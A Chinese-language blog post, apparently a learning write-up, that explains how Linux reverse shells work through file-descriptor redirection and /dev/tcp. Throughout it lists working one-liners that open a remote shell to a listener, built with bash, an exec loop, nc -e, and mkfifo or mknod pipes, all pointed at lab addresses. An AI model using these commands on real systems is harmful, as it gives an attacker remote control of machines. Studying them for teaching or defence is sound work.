linux反弹shell的本质(二)

什么是反弹shell

shell是什么

shell可以理解为就是一个可以输入命令的窗口,即命令行窗口

反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转.

反弹shell的本质:

文字描述:
攻击端为attacker,被攻击端为victim
attacker和victim在某一端口实现互联,我们之前说过linux中一切皆文件,所以可以理解是,attacker的输入重定向至victim的输入,victim的输出重定向至attacker构成了这样一个回路
接下来我们来分解这一过程:

准备

attacker ip:192.168.11.128
victim ip:

首先在attacker上监听:

1
nc -lvp port

在victim上执行:

1
bash -i >& /dev/tcp/ip/port 0>&1
img 接下来就可以看到在我们的attacker上实现了弹出了victim的shell。img 并且可以在此执行命令,获得victim上的内容

剖析命令

1.bash -i

1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

2)-i 这个参数表示的是产生交互式的shell

2./dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

img

但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

交互重定向——分解交互过程

1实现victim上的输入输出至attacker中(victim输出重定向)

在attacker上输入:

1
nc -lvp port

在victim上输入:

1
base -i > /dev/tcp/ip/port

此时 在victim上的输入,会输出至attacker 但是 attacker却无法对victim进行干扰img

img
2.实现attacker上的输入至victim(victim输入重定向)

在victim上输入:

1
bash -i < /dev/tcp/192.168.11.128/2333

在attacker上输入的内容就会被重定向至victim中
img
img

3.结合以上两条指令

在victim上输入:

1
bash -i > /dev/tcp/192.168.11.128/2333 0>&1

我们从左到右分析,此时victim的输出重定向至attacker,接下来是0>&1,即将attacker的输入重定向输出到victim的输入,而之前我们说了,victim的输入会重定向输出至attacker,可能有点绕,把这个想象成一个回路

img 但是,我们在victim上仍然可以看到我们在attacker输入的命令,为什么呢?因为attacker的输入重定向输出到了victim,接下来victim才会根据这个输入执行输出结果 img

该如何解决呢?
使用 :>&word= > word 2>&1

1
bash -i >& /dev/tcp/192.168.11.128/2333 0>&1 

解析:从victim的标准输出以及标准错误输出都重定向到了attacker,而attacker的输入又重定向输入至victim,此时victim接收到了我们从attacker上的标准输入,执行命令标准输出至attacker,但由于标准错误输出也重定向到了attacker,所以在victim上就看不到我们的命令了。有点绕,还是想象成一个环,只不过刚才的数据环运作过程中,有一个信息停滞没走。

常见的反弹shell语句

1.方法一

1
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1

1
bash -i>& /dev/tcp/192.168.146.129/2333 0<&1

这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别(我在上面给出链接的文章中也特地用加粗的形式解释了)

2.方法二

1
bash -i >& /dev/tcp/192.168.146.129/2333 <&2

等价于

1
bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

这里再谈谈理解,首先victim的标准输出以及标准错误输出至attacker输出,而attacker的标准输入至victim的标准错误输出上,而victim的标准错误输出边如前面所说的有attacker输出。

3.方法三

1
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

简单的解释一下:

1
exec 5<>/dev/tcp/192.168.146.129/2333

这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式(这种方法在我的前面的文章中也讲到过),于是我们就能通过文件描述符对这个socket连接进行操作了

1
command|while read line do .....done

这个是一个非常经典的句子,它的原句是这样的

1
2
3
4
while read line
do

done < file

从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。

而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

与之完全类似的还有下面这条指令,读者有兴趣可以自己分析一下:

1
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

4.方法四

nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

1
nc -e /bin/sh 192.168.146.129 2333

但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

简单的解释:

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

类似的命令:

1
mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

小结

通过这两天的学习,感觉对于linux反弹shell终于有了一些更深的理解,感觉对于之前的cat />flag等的理解都变深了一些,尤其是之间的交互作用的原理de理解

参考:https://xz.aliyun.com/t/2549#toc-4

Author

vague huang

Posted on

2021-02-03

Updated on

2021-02-04

Licensed under

Comments